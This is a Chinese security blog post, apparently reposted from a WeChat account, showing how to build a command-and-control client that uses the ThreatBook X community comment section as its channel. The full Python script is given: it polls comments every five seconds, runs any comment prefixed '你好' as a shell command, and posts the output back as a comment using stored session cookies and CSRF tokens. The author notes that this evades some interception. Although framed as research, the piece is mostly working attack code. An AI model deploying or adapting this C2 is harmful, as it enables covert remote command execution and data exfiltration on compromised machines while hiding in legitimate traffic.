X社区的C2实现

X社区的C2实现

前言

各位师傅们,好久没更了,在这给大家赔个不是啦。这段时间我经历了太多太多的事情了,经历了人生最至暗的时刻。在今天看到了一个有意思的帖子,于是乎晚上下班回来跑步运动完之后就静下心来看来一下这个项目,自己也复现了一下。大致就是利用某评论社区作为下发命令和展示执行结果的平台,类似于C2中的server端。然后客户端是每五秒钟去评论区获取需要执行的命令,执行完成后把结果通过写评论的方式再次写到评论区,实现过程如下。

声明:文章中涉及的内容可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

在某社区可以通过ID获取最新的评论的内容

def get_comments(short_message_id):
    base_url 
"https://x.threatbook.com/v5/node/user/article/queryComments?shortThreatId="+short_message_id
    try:
     #模拟用户发包
        response = requests.get(base_url)
        # 直接使用 response.json() 获取对象
        json_object = response.json()
        # 定义一个评论列表
        comments_list = json_object["data"]["list"]
        # 提取第一个 comments 对应的值
        first_comment = comments_list[0]["comments"]
        first_comment1 = first_comment[3:]
        # 返回第一个 comments 对应的值
        return first_comment,first_comment1
        # 错误性判断
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

通过身份信息写评论

def send_comment(comment, short_message_id, csrf_token, rememberme, xx_csrf):
    url 
"https://x.threatbook.com/v5/node/user/article/saveComment"
 #请求头
    headers = {
        "Host""x.threatbook.com",
        "Cookie": f"csrfToken={csrf_token}; rememberme={rememberme}; xx-csrf={xx_csrf}",
        "Content-Type""application/json",
        "X-Csrf-Token": csrf_token,
        "Xx-Csrf": xx_csrf,
        "Sec-Ch-Ua-Mobile""?0",
        "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
    }
 #请求体
    data = {
        "comment": comment,
        "isAnonymous""False",
        "targetId""0",
        "shortMeaasgeId": short_message_id
    }
 #回显命令
    try:
        response = requests.post(url, json=data, headers=headers)
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

执行命令的方法

def command(cmd):
    # Popen()函数使用shell执行命令,stdout和stderr是子进程的标准输出和标准错误输出
    process 
= Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
    # 启动并等待子进程完成,通过stdout和stderr读取子进程的输出
    stdout, stderr = process.communicate()
    # 返回标准输出并解码为gbk编码的字符串
    return stdout.decode('gbk')

从json文件读取对应字段的内容

# 打开 JSON 文件并读取内容
    with open('data.json''r') as f:
        json_str 
= f.read()

    # 解析 JSON 数据
    data = json.loads(json_str)

    # 读取各个字段的值
    short_message_id = data['short_message_id']
    csrfToken = data['csrfToken']
    rememberme = data['rememberme']
    xx_csrf = data['xx_csrf']
X社区的C2实现

完整代码如下:

from subprocess import Popen, PIPE
import requests
import time
import json

def command(cmd):
    # Popen()函数使用shell执行命令,stdout和stderr是子进程的标准输出和标准错误输出
    process 
= Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
    # 启动并等待子进程完成,通过stdout和stderr读取子进程的输出
    stdout, stderr = process.communicate()
    # 返回标准输出并解码为gbk编码的字符串
    return stdout.decode('gbk')


def get_comments(short_message_id):
    base_url 
"https://x.threatbook.com/v5/node/user/article/queryComments?shortThreatId="+short_message_id
    try:
     #模拟用户发包
        response = requests.get(base_url)
        # 直接使用 response.json() 获取对象
        json_object = response.json()
        # 定义一个评论列表
        comments_list = json_object["data"]["list"]
        # 提取第一个 comments 对应的值
        first_comment = comments_list[0]["comments"]
        first_comment1 = first_comment[3:]
        # 返回第一个 comments 对应的值
        return first_comment,first_comment1
        # 错误性判断
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")


def send_comment(comment, short_message_id, csrf_token, rememberme, xx_csrf):
    url 
"https://x.threatbook.com/v5/node/user/article/saveComment"
 #请求头
    headers = {
        "Host""x.threatbook.com",
        "Cookie": f"csrfToken={csrf_token}; rememberme={rememberme}; xx-csrf={xx_csrf}",
        "Content-Type""application/json",
        "X-Csrf-Token": csrf_token,
        "Xx-Csrf": xx_csrf,
        "Sec-Ch-Ua-Mobile""?0",
        "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
    }
 #请求体
    data = {
        "comment": comment,
        "isAnonymous""False",
        "targetId""0",
        "shortMeaasgeId": short_message_id
    }
 #回显命令
    try:
        response = requests.post(url, json=data, headers=headers)
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

if __name__ == '__main__':
    # 打开 JSON 文件并读取内容
    with open('data.json''r') as f:
        json_str 
= f.read()

    # 解析 JSON 数据
    data = json.loads(json_str)

    # 读取各个字段的值
    short_message_id = data['short_message_id']
    csrfToken = data['csrfToken']
    rememberme = data['rememberme']
    xx_csrf = data['xx_csrf']

    while True:
        cmd = get_comments(short_message_id)[0]
        if cmd.startswith("你好"):
            # 如果以 "你好" 开头,则执行下一步操作
            send_comment(command(get_comments(short_message_id)[1]), short_message_id, csrfToken, rememberme, xx_csrf)
            print("执行成功")
        else:
            # 如果不以 "你好" 开头,则执行其他操作
            print("命令错误")
        time.sleep(5)  # 延时5

json格式文件

{
    "short_message_id""xxx",
    "csrfToken""xxxx",
    "rememberme""xxxx",
    "xx_csrf""xxxx"
}

X社区的C2实现

完整项目已上传到github:https://github.com/Garck3h/xc2

执行效果:

X社区的C2实现

总结

参考:https://github.com/yuziiiiiiiiii/ThreatBook-C2

看了这位师傅的项目之后,自己也简单的复现了一下。其实蛮简单的一个原理,但是确实能够规避掉一些拦截。行笔匆忙,若疏漏请见解。


原文始发于微信公众号(pentest):X社区的C2实现

版权声明:admin 发表于 2023年11月22日 下午10:28。
转载请注明:X社区的C2实现 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...